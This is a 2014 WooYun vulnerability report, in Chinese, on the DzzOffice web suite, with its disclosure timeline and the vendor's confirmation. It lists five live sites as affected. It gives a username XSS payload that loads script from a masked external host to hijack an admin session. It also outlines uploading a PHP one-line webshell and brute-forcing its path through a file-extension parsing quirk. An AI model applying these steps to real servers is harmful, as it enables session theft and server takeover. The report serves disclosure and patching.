漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073979
漏洞标题：dzzoffice漏洞大礼包(用户名伪造xss特定条件getshell)
相关厂商：dzzoffice.com
漏洞作者： JJ Fly
提交时间：2014-09-15 11:01
修复时间：2014-12-14 11:02
公开时间：2014-12-14 11:02
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-15： 细节已通知厂商并且等待厂商处理中
2014-09-15： 厂商已经确认，细节仅向厂商公开
2014-09-18： 细节向第三方安全合作伙伴开放
2014-11-09： 细节向核心白帽子及相关领域专家公开
2014-11-19： 细节向普通白帽子公开
2014-11-29： 细节向实习白帽子公开
2014-12-14： 细节向公众公开
简要描述：
dzzoffice漏洞大礼包(用户名伪造,xss,特定条件getshell)
1.http://www.savethemoney.cn/
2.http://www.cad163.net/
3.http://office.ifdream.net/
4.http://www.pcsec.cn/
5.http://88shop.us/
详细说明：
1.
首先我们来注册一个帐号(需要开启注册)
填写好之后 进行抓包
将wooyun替换为我们的xss代码
"><script/src=//xxxxxxxxxx> (最长为30位，不过明显够用了)
好的现在我们注册成功了。
2.
我们来@一下管理员
效果
3.
等管理员去后台查看帐号信息的时候。
然后我们来单机一下伪造的admin
Xss平台
网站对关键cookie设置了httponly，xss作用被减小了。
漏洞证明：
3.
下面我们来拿网站的shell
(有限制的 具体看
)
我们本地创建一个php一句话木马
然后用我们刚才注册的帐号在首页中上传
效果
最好多上传几个，来减小爆破的时间
然后我们来爆破下一句话木马的位置。
路径
data/attachment/dzz/201408/26/(6位数字+17个字母数字组合).php.dzz
上传日期为 2014.8.26
实际名称为
(6位数字+17个字母数字组合).php.dzz
.dzz不解释 向上一级为php
可解析为php文件
http://localhost/data/attachment/dzz/201408/26/******~1.DZZ
******为6位数字。
直接用burp进行爆破就行
修复方案：
版权声明：转载请注明来源 JJ Fly@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-09-15 13:12
厂商回复：
非常感谢您的报告，问题已着手处理，感谢大家对DzzOffice安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。
最新状态：
暂无